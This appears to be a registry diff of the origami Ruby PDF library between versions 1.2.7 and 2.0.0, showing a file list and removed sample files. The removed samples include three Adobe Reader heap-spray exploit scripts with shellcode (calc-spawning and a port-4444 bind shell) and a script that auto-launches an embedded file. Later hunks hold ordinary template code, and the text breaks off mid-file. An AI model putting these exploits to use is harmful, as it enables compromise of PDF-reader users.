origami 1.2.7 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/CHANGELOG.md +66 -0
- data/README.md +112 -0
- data/bin/config/pdfcop.conf.yml +232 -233
- data/bin/gui/about.rb +27 -37
- data/bin/gui/config.rb +108 -117
- data/bin/gui/file.rb +416 -365
- data/bin/gui/gtkhex.rb +1138 -1153
- data/bin/gui/hexview.rb +55 -57
- data/bin/gui/imgview.rb +48 -51
- data/bin/gui/menu.rb +388 -386
- data/bin/gui/properties.rb +114 -130
- data/bin/gui/signing.rb +571 -617
- data/bin/gui/textview.rb +77 -95
- data/bin/gui/treeview.rb +382 -387
- data/bin/gui/walker.rb +227 -232
- data/bin/gui/xrefs.rb +56 -60
- data/bin/pdf2pdfa +53 -57
- data/bin/pdf2ruby +212 -228
- data/bin/pdfcop +338 -348
- data/bin/pdfdecompress +58 -65
- data/bin/pdfdecrypt +56 -60
- data/bin/pdfencrypt +75 -80
- data/bin/pdfexplode +185 -182
- data/bin/pdfextract +201 -218
- data/bin/pdfmetadata +83 -82
- data/bin/pdfsh +4 -5
- data/bin/pdfwalker +1 -2
- data/bin/shell/.irbrc +45 -82
- data/bin/shell/console.rb +105 -130
- data/bin/shell/hexdump.rb +40 -64
- data/examples/README.md +34 -0
- data/examples/attachments/attachment.rb +38 -0
- data/examples/attachments/nested_document.rb +51 -0
- data/examples/encryption/encryption.rb +28 -0
- data/{samples/actions/triggerevents/trigger.rb → examples/events/events.rb} +13 -16
- data/examples/flash/flash.rb +37 -0
- data/{samples → examples}/flash/helloworld.swf +0 -0
- data/examples/forms/javascript.rb +54 -0
- data/examples/forms/xfa.rb +115 -0
- data/examples/javascript/hello_world.rb +22 -0
- data/examples/javascript/js_emulation.rb +54 -0
- data/examples/loop/goto.rb +32 -0
- data/examples/loop/named.rb +33 -0
- data/examples/signature/signature.rb +65 -0
- data/examples/uri/javascript.rb +56 -0
- data/examples/uri/open-uri.rb +21 -0
- data/examples/uri/submitform.rb +47 -0
- data/lib/origami.rb +29 -42
- data/lib/origami/3d.rb +350 -225
- data/lib/origami/acroform.rb +262 -288
- data/lib/origami/actions.rb +268 -288
- data/lib/origami/annotations.rb +697 -722
- data/lib/origami/array.rb +258 -184
- data/lib/origami/boolean.rb +74 -84
- data/lib/origami/catalog.rb +397 -434
- data/lib/origami/collections.rb +144 -0
- data/lib/origami/destinations.rb +233 -194
- data/lib/origami/dictionary.rb +253 -232
- data/lib/origami/encryption.rb +1274 -1243
- data/lib/origami/export.rb +232 -268
- data/lib/origami/extensions/fdf.rb +307 -220
- data/lib/origami/extensions/ppklite.rb +368 -435
- data/lib/origami/filespec.rb +197 -0
- data/lib/origami/filters.rb +301 -295
- data/lib/origami/filters/ascii.rb +177 -180
- data/lib/origami/filters/ccitt.rb +528 -535
- data/lib/origami/filters/crypt.rb +26 -35
- data/lib/origami/filters/dct.rb +46 -52
- data/lib/origami/filters/flate.rb +95 -94
- data/lib/origami/filters/jbig2.rb +49 -55
- data/lib/origami/filters/jpx.rb +38 -44
- data/lib/origami/filters/lzw.rb +189 -183
- data/lib/origami/filters/predictors.rb +221 -235
- data/lib/origami/filters/runlength.rb +103 -104
- data/lib/origami/font.rb +173 -186
- data/lib/origami/functions.rb +67 -81
- data/lib/origami/graphics.rb +25 -21
- data/lib/origami/graphics/colors.rb +178 -187
- data/lib/origami/graphics/instruction.rb +79 -85
- data/lib/origami/graphics/path.rb +142 -148
- data/lib/origami/graphics/patterns.rb +160 -167
- data/lib/origami/graphics/render.rb +43 -50
- data/lib/origami/graphics/state.rb +138 -153
- data/lib/origami/graphics/text.rb +188 -205
- data/lib/origami/graphics/xobject.rb +819 -815
- data/lib/origami/header.rb +63 -78
- data/lib/origami/javascript.rb +596 -597
- data/lib/origami/linearization.rb +285 -290
- data/lib/origami/metadata.rb +139 -148
- data/lib/origami/name.rb +112 -148
- data/lib/origami/null.rb +53 -62
- data/lib/origami/numeric.rb +162 -175
- data/lib/origami/obfuscation.rb +186 -174
- data/lib/origami/object.rb +593 -573
- data/lib/origami/outline.rb +42 -47
- data/lib/origami/outputintents.rb +73 -82
- data/lib/origami/page.rb +703 -592
- data/lib/origami/parser.rb +238 -290
- data/lib/origami/parsers/fdf.rb +41 -33
- data/lib/origami/parsers/pdf.rb +75 -95
- data/lib/origami/parsers/pdf/lazy.rb +137 -0
- data/lib/origami/parsers/pdf/linear.rb +64 -66
- data/lib/origami/parsers/ppklite.rb +34 -70
- data/lib/origami/pdf.rb +1030 -1005
- data/lib/origami/reference.rb +102 -102
- data/lib/origami/signature.rb +591 -609
- data/lib/origami/stream.rb +668 -551
- data/lib/origami/string.rb +397 -373
- data/lib/origami/template/patterns.rb +56 -0
- data/lib/origami/template/widgets.rb +151 -0
- data/lib/origami/trailer.rb +144 -158
- data/lib/origami/tree.rb +62 -0
- data/lib/origami/version.rb +23 -0
- data/lib/origami/webcapture.rb +88 -79
- data/lib/origami/xfa.rb +2863 -2882
- data/lib/origami/xreftable.rb +472 -384
- data/test/dataset/calc.pdf +85 -0
- data/test/dataset/crypto.pdf +82 -0
- data/test/dataset/empty.pdf +49 -0
- data/test/test_actions.rb +27 -0
- data/test/test_annotations.rb +90 -0
- data/test/test_pages.rb +31 -0
- data/test/test_pdf.rb +16 -0
- data/test/test_pdf_attachment.rb +34 -0
- data/test/test_pdf_create.rb +24 -0
- data/test/test_pdf_encrypt.rb +95 -0
- data/test/test_pdf_parse.rb +96 -0
- data/test/test_pdf_sign.rb +58 -0
- data/test/test_streams.rb +182 -0
- data/test/test_xrefs.rb +67 -0
- metadata +88 -58
- data/README +0 -67
- data/bin/pdf2graph +0 -121
- data/bin/pdfcocoon +0 -104
- data/lib/origami/file.rb +0 -233
- data/samples/README.txt +0 -45
- data/samples/actions/launch/calc.rb +0 -87
- data/samples/actions/launch/winparams.rb +0 -22
- data/samples/actions/loop/loopgoto.rb +0 -24
- data/samples/actions/loop/loopnamed.rb +0 -21
- data/samples/actions/named/named.rb +0 -31
- data/samples/actions/samba/smbrelay.rb +0 -26
- data/samples/actions/webbug/submitform.js +0 -26
- data/samples/actions/webbug/webbug-browser.rb +0 -68
- data/samples/actions/webbug/webbug-js.rb +0 -67
- data/samples/actions/webbug/webbug-reader.rb +0 -90
- data/samples/attachments/attach.rb +0 -40
- data/samples/attachments/attached.txt +0 -1
- data/samples/crypto/crypto.rb +0 -28
- data/samples/digsig/signed.rb +0 -46
- data/samples/exploits/cve-2008-2992-utilprintf.rb +0 -87
- data/samples/exploits/cve-2009-0927-geticon.rb +0 -65
- data/samples/exploits/exploit_customdictopen.rb +0 -55
- data/samples/exploits/getannots.rb +0 -69
- data/samples/flash/flash.rb +0 -31
- data/samples/javascript/attached.txt +0 -1
- data/samples/javascript/js.rb +0 -52
- data/templates/patterns.rb +0 -66
- data/templates/widgets.rb +0 -173
- data/templates/xdp.rb +0 -92
- data/test/ts_pdf.rb +0 -50
|
@@ -1,65 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
#
|
|
4
|
-
# References:
|
|
5
|
-
# CVE 2009-0927
|
|
6
|
-
# http://www.securityfocus.com/bid/34169
|
|
7
|
-
# http://www.zerodayinitiative.com/advisories/ZDI-09-014/
|
|
8
|
-
#
|
|
9
|
-
#�Vulnerable: Adobe Reader and Adobe Acrobat Professional < 8.1.4
|
|
10
|
-
#
|
|
11
|
-
# This exploit / PoC spawns a calc on Windows.
|
|
12
|
-
#
|
|
13
|
-
#
|
|
14
|
-
|
|
15
|
-
begin
|
|
16
|
-
require 'origami'
|
|
17
|
-
rescue LoadError
|
|
18
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
19
|
-
$: << ORIGAMIDIR
|
|
20
|
-
require 'origami'
|
|
21
|
-
end
|
|
22
|
-
include Origami
|
|
23
|
-
|
|
24
|
-
pdf = PDF.read(ARGV[0])
|
|
25
|
-
|
|
26
|
-
jscript = %Q|
|
|
27
|
-
function spary() {
|
|
28
|
-
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98\
|
|
29
|
-
bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0\
|
|
30
|
-
ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8\
|
|
31
|
-
c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
|
|
32
|
-
|
|
33
|
-
//shellcode = unescape("%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd");
|
|
34
|
-
|
|
35
|
-
garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
|
|
36
|
-
90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
|
|
37
|
-
90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
|
|
38
|
-
90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
|
|
39
|
-
90%u9090%u9090%u9090") + shellcode;
|
|
40
|
-
nopblock = unescape("%u9090%u9090");
|
|
41
|
-
headersize = 10;
|
|
42
|
-
acl = headersize+garbage.length;
|
|
43
|
-
while (nopblock.length<acl) nopblock+=nopblock;
|
|
44
|
-
fillblock = nopblock.substring(0, acl);
|
|
45
|
-
block = nopblock.substring(0, nopblock.length-acl);
|
|
46
|
-
while(block.length+acl<0x40000) block = block+block+fillblock;
|
|
47
|
-
memory = new Array();
|
|
48
|
-
for (i=0;i<180;i++) memory[i] = block + garbage;
|
|
49
|
-
var buffersize = 4012;
|
|
50
|
-
var buffer = Array(buffersize);
|
|
51
|
-
for (i=0; i<buffersize; i++)
|
|
52
|
-
{
|
|
53
|
-
buffer[i] = unescape("%0a%0a%0a%0a");
|
|
54
|
-
}
|
|
55
|
-
|
|
56
|
-
Collab.getIcon(buffer+'_N.bundle');
|
|
57
|
-
}
|
|
58
|
-
spary();
|
|
59
|
-
|
|
|
60
|
-
|
|
61
|
-
exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
|
|
62
|
-
pdf.pages.first.onOpen( exploit )
|
|
63
|
-
|
|
64
|
-
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
65
|
-
|
|
@@ -1,55 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
pdf = PDF.read(ARGV[0])
|
|
13
|
-
|
|
14
|
-
jscript = %Q|
|
|
15
|
-
//##############
|
|
16
|
-
//Exploit made by Arr1val
|
|
17
|
-
//Proved in adobe 9.1 and adobe 8.1.4 on linux
|
|
18
|
-
//##############
|
|
19
|
-
|
|
20
|
-
app.alert('start heap spray...');
|
|
21
|
-
|
|
22
|
-
var memory;
|
|
23
|
-
var nop = unescape("%u9090%u9090");
|
|
24
|
-
var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
|
|
25
|
-
|
|
26
|
-
while(nop.length <= 0x10000/2) {
|
|
27
|
-
nop += nop;
|
|
28
|
-
}
|
|
29
|
-
|
|
30
|
-
nop = nop.substring(0,0x10000/2 - shellcode.length);
|
|
31
|
-
|
|
32
|
-
memory = new Array();
|
|
33
|
-
for (i=0; i<0x6ff0; i++) {
|
|
34
|
-
memory[i] = nop + shellcode;
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
//start exploit now
|
|
38
|
-
start();
|
|
39
|
-
|
|
40
|
-
function start()
|
|
41
|
-
{
|
|
42
|
-
this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
//############################
|
|
46
|
-
|
|
47
|
-
//# milw0rm.com [2009-04-29]
|
|
48
|
-
|
|
|
49
|
-
|
|
50
|
-
#exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
|
|
51
|
-
exploit = Action::JavaScript Stream.new(jscript)
|
|
52
|
-
pdf.onDocumentOpen( exploit )
|
|
53
|
-
|
|
54
|
-
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
55
|
-
|
|
@@ -1,69 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
pdf = PDF.read(ARGV[0])
|
|
13
|
-
|
|
14
|
-
jscript = %Q|
|
|
15
|
-
//##############
|
|
16
|
-
//Exploit made by Arr1val
|
|
17
|
-
//Proved in adobe 9.1 and adobe 8.1.4 on linux
|
|
18
|
-
//
|
|
19
|
-
//Steps:
|
|
20
|
-
//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
|
|
21
|
-
//- attach the following script to the OpenAction of the pdf.
|
|
22
|
-
//##############
|
|
23
|
-
|
|
24
|
-
app.alert('start heap spray...');
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
var memory;
|
|
28
|
-
var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one
|
|
29
|
-
var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
|
|
30
|
-
|
|
31
|
-
while(nop.length <= 0x100000/2) {
|
|
32
|
-
nop += nop;
|
|
33
|
-
}
|
|
34
|
-
|
|
35
|
-
nop = nop.substring(0,0x100000/2 - shellcode.length);
|
|
36
|
-
|
|
37
|
-
memory = new Array();
|
|
38
|
-
for(i=0; i<0x3; i++) { //we should at least overwrite 0x90909090
|
|
39
|
-
memory[i] = nop + shellcode;
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
//start exploit now
|
|
44
|
-
start();
|
|
45
|
-
|
|
46
|
-
function start()
|
|
47
|
-
{
|
|
48
|
-
// this.getAnnots(-134217728,-134217728,-134217728,-134217728);
|
|
49
|
-
app.alert("boom?");
|
|
50
|
-
this.getAnnots(-134217728,-134217729,-134217730,-134217731); //get control on EDI
|
|
51
|
-
}
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
//# milw0rm.com [2009-04-29]
|
|
55
|
-
|
|
|
56
|
-
|
|
57
|
-
#exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
|
|
58
|
-
exploit = Action::JavaScript Stream.new(jscript)
|
|
59
|
-
pdf.onDocumentOpen( exploit )
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
annot = Annotation::Text.new
|
|
63
|
-
annot.Contents = "Hello world"
|
|
64
|
-
annot.Rect = [ 512, 512, 660, 606]
|
|
65
|
-
annot.F = Annotation::Flags::HIDDEN
|
|
66
|
-
pdf.pages[0].add_annot( annot )
|
|
67
|
-
|
|
68
|
-
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
69
|
-
|
data/samples/flash/flash.rb
DELETED
|
@@ -1,31 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
INPUTFILE = "helloworld.swf"
|
|
13
|
-
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
14
|
-
|
|
15
|
-
puts "Now generating a new PDF file from scratch!"
|
|
16
|
-
|
|
17
|
-
# Creating a new file
|
|
18
|
-
pdf = PDF.new.append_page(page = Page.new)
|
|
19
|
-
|
|
20
|
-
# Embedding the SWF file into the PDF.
|
|
21
|
-
swf = pdf.attach_file(INPUTFILE)
|
|
22
|
-
|
|
23
|
-
# Creating a Flash annotation on the page.
|
|
24
|
-
annot = page.add_flash_application(swf, :windowed => true, :navigation_pane => true, :toolbar => true)
|
|
25
|
-
|
|
26
|
-
# Setting the player position on the page.
|
|
27
|
-
annot.Rect = Rectangle.new(204, 573, 403, 718)
|
|
28
|
-
|
|
29
|
-
pdf.save(OUTPUTFILE)
|
|
30
|
-
|
|
31
|
-
puts "PDF file saved as #{OUTPUTFILE}."
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
***THIS IS THE EMBEDDED FILE***
|
data/samples/javascript/js.rb
DELETED
|
@@ -1,52 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
if defined?(PDF::JavaScript::Engine)
|
|
13
|
-
|
|
14
|
-
INPUTFILE = "attached.txt"
|
|
15
|
-
|
|
16
|
-
# Creating a new file
|
|
17
|
-
pdf = PDF.new
|
|
18
|
-
|
|
19
|
-
# Embedding the file into the PDF.
|
|
20
|
-
pdf.attach_file(INPUTFILE,
|
|
21
|
-
:EmbeddedName => "README.txt",
|
|
22
|
-
:Filter => :ASCIIHexDecode
|
|
23
|
-
)
|
|
24
|
-
|
|
25
|
-
# Example of JS payload
|
|
26
|
-
pdf.onDocumentOpen Action::JavaScript <<-JS
|
|
27
|
-
if ( app.viewerVersion == 8 )
|
|
28
|
-
eval("this.exportDataObject({cName:'README.txt', nLaunch:2});");
|
|
29
|
-
this.closeDoc();
|
|
30
|
-
JS
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
# Tweaking the engine options
|
|
34
|
-
pdf.js_engine.options[:log_method_calls] = true
|
|
35
|
-
pdf.js_engine.options[:viewerVersion] = 8
|
|
36
|
-
|
|
37
|
-
# Hooking eval()
|
|
38
|
-
pdf.js_engine.hook 'eval' do |eval, expr|
|
|
39
|
-
puts "Hook: eval(#{expr.inspect})"
|
|
40
|
-
eval.call(expr) # calling the real eval method
|
|
41
|
-
end
|
|
42
|
-
|
|
43
|
-
# Example of inline JS evaluation
|
|
44
|
-
pdf.eval_js 'console.println(util.stringFromStream(this.getDataObjectContents("README.txt")))'
|
|
45
|
-
|
|
46
|
-
# Executes the string as a JS script
|
|
47
|
-
pdf.Catalog.OpenAction[:JS].eval_js
|
|
48
|
-
|
|
49
|
-
else
|
|
50
|
-
puts "JavaScript support not found. You need to install therubyracer gem."
|
|
51
|
-
end
|
|
52
|
-
|
data/templates/patterns.rb
DELETED
|
@@ -1,66 +0,0 @@
|
|
|
1
|
-
=begin
|
|
2
|
-
|
|
3
|
-
= File
|
|
4
|
-
patterns.rb
|
|
5
|
-
|
|
6
|
-
= Info
|
|
7
|
-
This file is part of Origami, PDF manipulation framework for Ruby
|
|
8
|
-
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
|
|
9
|
-
All right reserved.
|
|
10
|
-
|
|
11
|
-
Origami is free software: you can redistribute it and/or modify
|
|
12
|
-
it under the terms of the GNU Lesser General Public License as published by
|
|
13
|
-
the Free Software Foundation, either version 3 of the License, or
|
|
14
|
-
(at your option) any later version.
|
|
15
|
-
|
|
16
|
-
Origami is distributed in the hope that it will be useful,
|
|
17
|
-
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
18
|
-
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
19
|
-
GNU Lesser General Public License for more details.
|
|
20
|
-
|
|
21
|
-
You should have received a copy of the GNU Lesser General Public License
|
|
22
|
-
along with Origami. If not, see <http://www.gnu.org/licenses/>.
|
|
23
|
-
|
|
24
|
-
=end
|
|
25
|
-
|
|
26
|
-
module Origami
|
|
27
|
-
|
|
28
|
-
module Template
|
|
29
|
-
|
|
30
|
-
class AxialGradient < Graphics::Pattern::Shading::Axial
|
|
31
|
-
|
|
32
|
-
def initialize(from, to, color0, color1, coeff = 1)
|
|
33
|
-
super()
|
|
34
|
-
|
|
35
|
-
set_indirect(true)
|
|
36
|
-
|
|
37
|
-
x, y = from
|
|
38
|
-
tx, ty = to
|
|
39
|
-
|
|
40
|
-
c0 = Graphics::Color.to_a(color0)
|
|
41
|
-
c1 = Graphics::Color.to_a(color1)
|
|
42
|
-
|
|
43
|
-
space =
|
|
44
|
-
case c0.size
|
|
45
|
-
when 1 then Graphics::Color::Space::DEVICE_GRAY
|
|
46
|
-
when 3 then Graphics::Color::Space::DEVICE_RGB
|
|
47
|
-
when 4 then Graphics::Color::Space::DEVICE_CMYK
|
|
48
|
-
end
|
|
49
|
-
|
|
50
|
-
f = Function::Exponential.new
|
|
51
|
-
f.Domain = [ 0.0, 1.0 ]
|
|
52
|
-
f.N = coeff
|
|
53
|
-
f.C0, f.C1 = c0, c1
|
|
54
|
-
|
|
55
|
-
self.ColorSpace = space
|
|
56
|
-
self.Coords = [ x, y, tx, ty ]
|
|
57
|
-
self.Function = f
|
|
58
|
-
self.Extend = [ true, true ]
|
|
59
|
-
|
|
60
|
-
end
|
|
61
|
-
|
|
62
|
-
end
|
|
63
|
-
|
|
64
|
-
end
|
|
65
|
-
|
|
66
|
-
end
|
data/templates/widgets.rb
DELETED
|
@@ -1,173 +0,0 @@
|
|
|
1
|
-
=begin
|
|
2
|
-
|
|
3
|
-
= File
|
|
4
|
-
widgets.rb
|
|
5
|
-
|
|
6
|
-
= Info
|
|
7
|
-
This file is part of Origami, PDF manipulation framework for Ruby
|
|
8
|
-
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
|
|
9
|
-
All right reserved.
|
|
10
|
-
|
|
11
|
-
Origami is free software: you can redistribute it and/or modify
|
|
12
|
-
it under the terms of the GNU Lesser General Public License as published by
|
|
13
|
-
the Free Software Foundation, either version 3 of the License, or
|
|
14
|
-
(at your option) any later version.
|
|
15
|
-
|
|
16
|
-
Origami is distributed in the hope that it will be useful,
|
|
17
|
-
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
18
|
-
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
19
|
-
GNU Lesser General Public License for more details.
|
|
20
|
-
|
|
21
|
-
You should have received a copy of the GNU Lesser General Public License
|
|
22
|
-
along with Origami. If not, see <http://www.gnu.org/licenses/>.
|
|
23
|
-
|
|
24
|
-
=end
|
|
25
|
-
|
|
26
|
-
module Origami
|
|
27
|
-
|
|
28
|
-
module Template
|
|
29
|
-
|
|
30
|
-
class Button < Annotation::Widget::PushButton
|
|
31
|
-
|
|
32
|
-
def initialize(x,y,width,height, caption, id = nil)
|
|
33
|
-
super()
|
|
34
|
-
|
|
35
|
-
set_indirect(true)
|
|
36
|
-
|
|
37
|
-
self.H = Annotation::Widget::Highlight::INVERT
|
|
38
|
-
self.Rect = [ x, y, x+width, y+height ]
|
|
39
|
-
self.F = Annotation::Flags::PRINT
|
|
40
|
-
self.T = id
|
|
41
|
-
|
|
42
|
-
appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
|
|
43
|
-
appstm.BBox = [ 0, 0, width, height ]
|
|
44
|
-
appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
|
|
45
|
-
|
|
46
|
-
appstm.draw_rectangle(0, 0, width, height,
|
|
47
|
-
:fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(0xE6, 0xE6, 0xFA))
|
|
48
|
-
|
|
49
|
-
appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
|
|
50
|
-
:fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
|
|
51
|
-
|
|
52
|
-
appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
|
|
53
|
-
:fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
|
|
54
|
-
|
|
55
|
-
appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
|
|
56
|
-
:fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
|
|
57
|
-
|
|
58
|
-
text_width = 4.75 * caption.length
|
|
59
|
-
appstm.write(caption,
|
|
60
|
-
:x => (width - text_width)/2, :y => height/2-5, :size => 10)
|
|
61
|
-
|
|
62
|
-
appstm.Resources = Resources.new
|
|
63
|
-
set_normal_appearance(appstm)
|
|
64
|
-
end
|
|
65
|
-
|
|
66
|
-
end
|
|
67
|
-
|
|
68
|
-
class Edit < Annotation::Widget::Text
|
|
69
|
-
|
|
70
|
-
def initialize(x,y,width,height, id)
|
|
71
|
-
super()
|
|
72
|
-
|
|
73
|
-
set_indirect(true)
|
|
74
|
-
|
|
75
|
-
self.Rect = [ x, y, x+width, y+height ]
|
|
76
|
-
self.F = Annotation::Flags::PRINT
|
|
77
|
-
self.T = id
|
|
78
|
-
self.DA = '/F1 12 Tf 0 g'
|
|
79
|
-
|
|
80
|
-
appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
|
|
81
|
-
appstm.BBox = [ 0, 0, width, height ]
|
|
82
|
-
appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
|
|
83
|
-
|
|
84
|
-
appstm.draw_rectangle(0, 0, width, height,
|
|
85
|
-
:fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
|
|
86
|
-
|
|
87
|
-
appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
|
|
88
|
-
:fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
|
|
89
|
-
|
|
90
|
-
appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
|
|
91
|
-
:fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
|
|
92
|
-
|
|
93
|
-
appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
|
|
94
|
-
:fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
|
|
95
|
-
|
|
96
|
-
set_normal_appearance(appstm)
|
|
97
|
-
end
|
|
98
|
-
|
|
99
|
-
end
|
|
100
|
-
|
|
101
|
-
class MultiLineEdit < Edit
|
|
102
|
-
|
|
103
|
-
def initialize(x,y,width,height, id)
|
|
104
|
-
|
|
105
|
-
super(x,y,width,height,id)
|
|
106
|
-
|
|
107
|
-
self.Ff ||= 0
|
|
108
|
-
self.Ff |= Annotation::Widget::Text::Flags::MULTILINE
|
|
109
|
-
end
|
|
110
|
-
|
|
111
|
-
end
|
|
112
|
-
|
|
113
|
-
class RichTextEdit < MultiLineEdit
|
|
114
